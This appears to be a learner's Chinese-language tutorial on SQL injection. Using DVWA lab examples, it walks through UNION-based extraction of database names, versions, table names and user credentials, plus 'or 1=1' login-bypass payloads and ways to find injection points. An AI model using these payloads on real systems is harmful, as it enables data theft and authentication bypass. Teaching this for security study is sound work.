Sql注入的概念:Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击。
一.首先来看一下Web程序的三层架构(即浏览器/客户端——服务器——数据库)
从用户访问网址到呈现内容,总共流程为六步
1.在 Web 浏览器中输入 www.shiyanlou.com 连接到实验楼服务器
2.业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析
3.脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 Sql 语句
4.数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器
5.业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器
6.表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户
三层架构其实是一种线性关系,所有通信必须要经过中间层,总体流程顺序为客户端/浏览器-服务器-数据库-服务器-客户端/浏览器。
二.SQL注入漏洞详解
通过上述的三层架构,我们可以得知当我们访问网址的时候,业务逻辑层(Web服务器)会向数据访问层(数据库)发送SQL查询请求,权限认证通过,数据库就会执行SQL语句,一般网站内部的服务器-数据库的SQL请求本身没有问题,但是实际情况使用的SQL请求是需要结合用户输入的数据动态构造sql语句(不太清楚,这里从浏览器/客户端角度来看指的应该就是用户输入的数据),如果用户输入的数据最终被构造成恶意语句(这里恶意语句常常指的就是SQL注入的攻击语句,其目的不再说),web应用又未对动态构造的sql语句进行审查,便会存在一系列使用风险和隐患。
SQL注入攻击带来的威胁通常为以下三点:
1.猜解数据库,获取敏感信息(这是最常用的,后文有具体方法流程)
2.绕过认证,比如绕过网站登录认证直接访问后台
3.可以利用数据库的存储过程进行提权等操作(我个人理解是找到管理员账号数据表然后利用存储功能来进行账号创建并提权)
三.实例:
实例一:猜解数据库
以渗透测试平台(搭建的DVWA测试网页)为例,访问网页,一般有输入框(输入信息交互),可以通过访问https://host/index.php(尝试访问修改源代码)或者其他后缀查看源代码。
比如其中的源代码通常为
$id就是我们输入的值,输入1即user_id = 1,后续猜解输入的值也是一样的,源代码+输入的值,输入后SQL就会执行语句,详情如下。
然后开始猜解:
1.猜解user表有几个字段和多少列数据,将以下公式输入框内
1’order by 1#
1’order by 2#
一直尝试以此类推,直到报错,若到3报错,即user表有2列数据
2.通过union select查询获取信息,从上一步我们得知user表列数为2,而在使用union(联合)查询的时候需要和主查询列数相同,因此将以下公式输入框内
1’union select database(),user()#
注:这里的database()将会返回当前网站所使用的数据库名字;user()则将会返回当前查询的用户名
最终执行的SQL语句为
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;
最终网页或者源代码/数据包呈现给出的信息为:
①当前网站使用数据库是什么
②当前查询的用户名是什么
3.然后我们再输入1’union select version(),@@version_compile_os#(同上)
注:version()意为获取当前数据库版本;@@version_compile_os意为获取当前设备的操作系统
最终执行的SQL语句为
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
最终网页或者源代码/数据包呈现给出的信息为:
①数据库版本信息
②操作系统信息
4.之后我们再进行尝试,获取DVWA数据库中的表名,输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
注:information_schema是mysql自带的一张表,这张数据表保存了mysql服务器所有数据库的信息,如库名,库表,数据类型及访问权限等等。该数据库有一张tables的数据表,该表包含了table_name和table_schema两个字段,分别记录DBMS(数据库管理系统)中存储的表名和表名所在数据库(这个信息感觉不是很通用,但仍可以尝试)
最终执行的SQL语句为:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
最终网页或者源代码/数据包呈现给出的信息为:
①dvwa数据库中的表名
5.之后我们通过先前获取到的uesr表,去猜测获取用户名和密码,这个玄学一些
比如我们猜用户名和密码为user和password(一般人用的多),输入1’union select user,password from users# ,进行查询
最终执行的SQL语句为:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
若成功(概率,毕竟是猜的),则网页或者源代码/数据包呈现给出的信息为:
①表中的用户名和密码(一般有md5加密,去解密网站一试即可)
实例二:验证绕过
以一个普通登录页面为例,一般的登录页面,输入账号密码+验证码,都正确即可成功
我们访问之后先查看后台源代码,看看后台代码是如何做验证的。以下为示例:
$sql=“select * from users where username='$name' and password='$pwd'";
我们在页面框内输入账号:123,密码:123
最终执行的SQL语句为:
select * from users where username='123' and password='123'
正常来说是失败的,一般账号密码不会这么简单
接下来就是重点操作,我们在页面框内输入账号:123’or1=1#,密码:123’or1=1#
结果是登陆成功,原因是SQL执行语句的逻辑原理
我们输入上述字段后,最终SQL执行语句为:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照SQL语法,#后面为注释会被忽略,因此上语句等同于
select * from users where username='123' or 1=1
然后由于判断语句or,后面跟了1=1,恒为真,所以登陆成功(这里利用了SQL语句逻辑的漏洞便利成功验证绕过了。)
这里还有第二种类似的方法,即不使用#,手动闭合
我们在页面框输入账号:123’or‘1’=‘1,密码:123’or‘1’=‘1
最终SQL执行语句为:
select * from users where username='123' or '1'='1' and password='123' or '1'='1
原理是两个or语句都为真,因此and也为真
总结:这里第一种和第二种举例很类似,但切勿搞混淆,因为主要是介绍SQL语句的逻辑原理,通过这个原理的逻辑漏洞来达到验证绕过的目的,因此主要要理解原理,这样换到不同场景也可以进行实际尝试。而且这只是最简单的一种,还有其他逻辑原理自行学习或研究。
四.判断SQL注入点
SQL注入点的判断主要是以下两个方面:
1.首先判断url是否带参数,带的参数是否存在SQL注入
2.存在的SQL注入是哪种注入方式
通常存在SQL注入漏洞的url往往为这类格式:http://xxx.xxx.xxx/abcd.php?id=XX
其实只要存在动态网页访问了数据库的,都有可能存在SQL注入,而一个动态网页中可能有一个或多个参数,参数类型也不相同,所以判断方式也根据这些情况来决定:
最简单的一种是单引号判断法,在参数后面加个单引号,比如http:127.0.0.1/login.php?id=1的网址,在1后面加个单引号然后测试,如果访问http:127.0.01/login.php?id=1报错,则证明存在SQL注入(因为字符型参数和整数型参数都会报错),若不报错,也有可能是做了单引号过滤,后续再使用判断语句等进行测试即可。
而判断注入漏洞的类型(通常SQL注入漏洞类型为字符型和数字型)
①数字型(可以理解为整数型)判断
SQL语句通常为Select*from [表名] where id = x
我们通常使用and 1=1和and 1=2来判断(这个逻辑原理也不用多说了吧)
在url地址中输入这个,比如http://127.0.0.1/login.php?id=1 and 1=1,这个访问一般正常
然后再输入http://127.0.0.1/login.php?id=1 and 1=2 ,这个访问报错的话,就证明这个SQL注入漏洞类型为数字型。(逻辑不用多说)
验证一下,使用’and ‘1’=’1和’and ‘1’=’2来验证,
若两种测试之后都不报错,那就能确定这个类型为数字型。
②字符型判断
这个不用多说,拿上述验证的后缀字段来测试,若’and ‘1’=’1正常而’and ‘1’=’2报错,则证明这个类型为字符型。
验证方式也是一样的,反过来即可。